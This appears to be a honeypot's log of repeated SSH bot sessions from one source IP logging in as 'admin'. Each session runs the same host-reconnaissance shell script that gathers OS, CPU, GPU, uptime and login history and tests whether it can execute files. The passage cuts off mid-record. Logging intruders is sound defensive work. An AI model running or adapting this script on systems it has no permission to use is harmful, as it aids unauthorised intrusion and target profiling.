  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:39:59.816000+00:00",
  "ended_at": "2026-08-25T02:40:00.761033+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "13afb689-8adf-4654-8559-b6f5a980c1c0",
  "name": "northern-cosmic-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 46666,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:39:16.100667+00:00",
  "ended_at": "2026-08-25T02:39:16.926647+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fc026f9b-1424-41ce-97c1-5d3927e397f6",
  "name": "bashful-feathered-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 45038,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:38:34.964484+00:00",
  "ended_at": "2026-08-25T02:38:35.669948+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e2b26a09-3369-40cb-8138-e835e3ff71ae",
  "name": "bronzed-gleaming-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 43426,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:37:53.868603+00:00",
  "ended_at": "2026-08-25T02:37:54.502748+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3bf6bb8e-fe5a-483c-8432-110c87efe1d0",
  "name": "vernal-marine-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 41830,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:37:06.626292+00:00",
  "ended_at": "2026-08-25T02:37:07.416604+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "918fac3e-d72e-44f8-b4c6-a575b2e5bdca",
  "name": "quiet-wistful-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 40224,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:36:16.908082+00:00",
  "ended_at": "2026-08-25T02:36:17.599014+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "dbfd6efc-af80-4556-bb29-5a22dccecd61",
  "name": "bitter-gilded-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 38630,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null 